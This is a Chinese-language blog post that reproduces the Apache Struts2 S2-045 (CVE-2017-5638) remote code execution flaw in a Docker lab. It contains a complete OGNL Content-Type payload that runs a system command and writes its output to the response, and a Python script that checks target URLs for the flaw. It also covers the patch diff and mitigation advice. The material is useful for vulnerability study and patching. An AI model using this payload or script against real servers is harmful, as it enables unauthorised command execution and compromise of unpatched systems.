zoukankan      html  css  js  c++  java
  • Struts-S2-045漏洞利用

    最近也是在看Struts2的漏洞,这里与大家共同探讨一下,本次我复现的是s2-045这个编号的漏洞

    漏洞介绍

    Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
    恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

    Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

    Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。

    漏洞编号:S2-045
    CVE编号:CVE-2017-5638
    漏洞类型:远程代码执行
    漏洞级别:高危
    漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
    影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

    环境准备

    1.docker环境及vulhub靶场(没有安装的可以参考我之前的博客)

    2.Burp Suite抓包工具

    漏洞POC

    Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    漏洞关键点

    1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
    2.恶意攻击者精心构造Content-Type的值
    通过版本比对定位漏洞原因:
    1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
    2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
    3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java

    三个文件修改内容相同,加固方式对用户报错加了条件判断。

    if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
                return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
             } else {
                return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
             }

    漏洞利用

    用docker搭建好环境后,访问,是这个界面

    随便选择个文件,上传,用burp抓包

    然后Repeater,只需要更改Content-Type的值,就可实现远程代码执行

    附上一个检测POC

    #!/usr/bin/env python
    #coding:utf8
    #code by fuck@0day5.com
    import sys
    import requests
    requests.packages.urllib3.disable_warnings()
     
    def poccheck(url):
        result = False
        header = {
            'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
            'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"
        }
        try:
            response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)
            if response.content.find("88866777")!=-1:
                result = url+" find struts2-45"
        except Exception as e:
            print str(e)
            pass
        return result
     
    if __name__ == '__main__':
        if len(sys.argv) == 2:
            print poccheck(sys.argv[1])
            sys.exit(0)
        else:
            print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0])
            sys.exit(-1)

    漏洞修复建议(或缓解措施):

    检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
    更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
    临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

  • 相关阅读:
    sabaki and leelazero
    apply current folder view to all folders
    string operation in powershell
    wirte function in powershell
    add environment path to powershell
    Module in powershell
    sql prompt
    vmware中鼠标在部分区域不能使用
    调整多个控件的dock的顺序
    行为型模型 策略模式
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13335134.html
Copyright © 2011-2022 走看看